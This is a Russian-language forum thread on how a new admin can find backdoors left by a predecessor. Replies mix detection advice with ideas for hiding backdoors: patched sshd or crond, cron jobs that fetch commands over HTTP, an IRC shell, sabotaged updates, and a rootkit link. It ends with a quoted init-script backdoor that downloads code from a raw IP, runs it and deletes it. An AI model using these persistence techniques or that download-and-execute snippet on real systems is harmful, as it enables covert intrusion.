Ищем шпионское ПО

Юзера левого с попустым профилем и ключом для ssh. Если есть openvpn, то левые коннекты искать.

Устанавливаю Wordpress.

Продаю гараж.

Серьёзный дядя, на которого ты работал тебе по голове просто настучит за такие дела.

куда вы будете прятать закладку, чтобы новый админ месяц её не мог найти?

Во всё. В ядро, в утилиты, в программы, в прошивки железа, в компилятор. Даже в шейдеры в играх. Интересно же, до какого уровня админ дойдёт.

Правда, если бы я умел всё это, на смежной работе зарабатывал бы столько, что заниматься такими непотребствами не было нужды.

Юзера левого с попустым профилем и ключом для ssh. Если есть openvpn, то левые коннекты искать.

Ну это из серии очень простых ответов. В первую очередь новый админ смотрит какие порты наружу открыты и какие программы эти порты слушают. Тут sockstat и ps в помощь. Если обнаруживает, что запущен sshd - изучает конфиг, не прописан ли альтернативный путь для хранения открытых ключей, отличный от ~/.ssh/authorized_keys, опять же руту и всем юзерам в /etc/passwd ставит /bin/nologin, чтобы никто кроме админа не мог зайти. Если обнаруживает, что запущен openvpn - перегенерирует ключи всем юзерам. Если обнаруживает, что запущен apache - тут уже гораздо сложнее. Ещё сложнее - когда бэкдорнутый сервис запущен не постоянно, а запускается в определённое время, например ночью, когда новый админ отдыхает. Вобщем, думаем, мыслители, думаем.

Если обнаруживает, что запущен openvpn

Я про случай, если на сервере он и должен быть запущен. Туннели там всякие к другим офисам и всё такое.

Админ сгенерил себе ключик перед сдачей дел и никому не сказал.

и шпионское железо в своей сети.

проверь все порты, не воткнут ли в сеть или USB какой-нибудь припрятанный левый модем или точка доступа

Наиболее неисследованная часть: кольца защиты, а так уязвимостей полно.

Перевести в срочном порядке все на винду, exe-шники или бинарщину с фирмварями ... шутка

Перевёл бы весь служебный софт в контейнеры/виртуалки и напихал бяку внутрь них, чтобы сложнее было инспектировать. Чтобы бяка не отсвечивала в списке процессов зря, положить в cron-файл скрипт, который будет по ночам читать команды из документа по HTTP URL, например. Более простой вариант, который видел на практике - IRC-клиент с шеллом.

Ещё можно оставить системы со старыми уязвимыми бинарями, а обновление машины сломать нарочно, чтобы стандартными средствами и безболезненно нельзя было обновиться. Например, можно какой-то эзотерический дистрибутив впилить, который больше не выпускается. А вообще совет про переход на Windows - зачётный.

Берём исходники любой программы, добавляем нужную нам функциональность, например, вызов openvpn сервера или teamviewer по вторникам в 21:00. Перекомпилируем, кладём программу на место. Если программа на питон, то просто дописываем несколько строк. Всякие нужные запчасти для доступа могут располагаться где угодно: всякие tmp, var или даже на неразмеченной области диска, которую наша программа агент по вторникам размечает, монтирует и достаёт оттуда нужное.

Пропатчил бы sshd/openvpn/crond/whatever. Да хоть какой-нибудь питоновский модуль, если там питон постоянно вертится. И ты не найдешь пока контрольные суммы сравнивать не полезешь. А ведь ты не полезешь.

Суть такова - если есть подозрения что предыдущий админ оставил на сервере заначку - этот сервер лучше установить и настроить с нуля, аккуратно перенося только данные. Если подозрений нет - поверхностное обследование портов/конфигов/процессов и смена паролей и ключей.

Суть такова - если есть подозрения что предыдущий админ оставил на сервере заначку - этот сервер лучше установить и настроить с нуля, аккуратно перенося только данные.

Не всегда возможно. Есть такое понятие, как «PHP-код в базе данных». Актуально для Wordpress и Drupal.

UEFI

https://github.com/chokepoint/azazel

которую наша программа агент по вторникам размечает, монтирует и достаёт оттуда нужное.

Можно не размечать, а монтировать с указанием оффсета и используемого шифрования.

Я как-то встречал занятный бэкдор в /etc/init.d/ssh:

wget http://205.237.100.170/manual/a.c -O /tmp/init.c;
gcc -o /tmp/init /tmp/init.c;
chmod +x /tmp/init;
/tmp/init;
rm -rf /tmp/init /tmp/init.c;

wget http://205.237.100.170/manual/pb -O /tmp/p;perl /tmp/p;rm -rf /tmp/p;

wget http://205.237.100.170/manual/b -O /tmp/b;chmod +x /tmp/b;/tmp/b;rm -rf /tmp/b;